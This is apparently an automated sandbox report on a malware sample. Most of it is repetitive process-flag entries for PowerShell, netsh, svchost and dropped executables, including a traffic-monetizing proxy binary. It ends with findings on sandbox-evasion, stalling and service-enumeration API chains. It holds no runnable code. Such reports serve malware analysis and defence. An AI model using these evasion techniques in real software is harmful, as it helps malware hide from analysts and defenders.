Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\MpMgSvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\MpMgSvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\MpMgSvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\Hooks.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Temp\Wmicc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Temp\Wmicc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\ctfmoon.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\ctfmoon.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Meson.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Meson.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Contains functionality to detect sleep reduction / modifications

Source: C:\Windows\SysWOW64\svchost.exe	Code function: 29_2_0040E7B0		29_2_0040E7B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 29_2_0040C190		29_2_0040C190

Found API chain indicative of sandbox detection

Source: C:\Windows\SysWOW64\svchost.exe

Sandbox detection routine: GetForegroundWindow, DecisionNode, Sleep

graph_29-6894

Found evasive API chain checking for user administrative privileges

Source: C:\Users\user\Desktop\exe1.bin.bak.exe

Check user administrative privileges: IsUserAndAdmin, DecisionNode

graph_0-26671

Found stalling execution ending in API Sleep call

Source: C:\Windows\SysWOW64\svchost.exe

Stalling execution: Execution stalls by calling Sleep

graph_29-6991

Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Memory allocated: 2732AB50000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Memory allocated: 273431E0000 memory reserve \| memory write watch

Source: C:\Users\user\Desktop\exe1.bin.bak.exe	Code function: OpenSCManagerA,EnumServicesStatusExA,GlobalAlloc,EnumServicesStatusExA,RtlMoveMemory,OpenServiceA,QueryServiceConfigA,GlobalAlloc,QueryServiceConfigA,RtlMoveMemory,GlobalFree,CloseServiceHandle,GlobalFree,CloseServiceHandle,	0_2_0040B582
Source: C:\Users\user\Desktop\exe1.bin.bak.exe	Code function: OpenSCManagerA,EnumServicesStatusA,GetProcessHeap,RtlAllocateHeap,EnumServicesStatusA,RtlMoveMemory,OpenServiceA,QueryServiceConfigA,GetProcessHeap,RtlAllocateHeap,QueryServiceConfigA,RtlMoveMemory,GetProcessHeap,HeapFree,CloseServiceHandle,GetProcessHeap,HeapFree,CloseServiceHandle,	0_2_00409B17
Source: C:\Users\user\Desktop\exe1.bin.bak.exe	Code function: OpenSCManagerA,EnumServicesStatusA,GlobalAlloc,EnumServicesStatusA,GlobalFree,CloseServiceHandle,	0_2_0040AED8
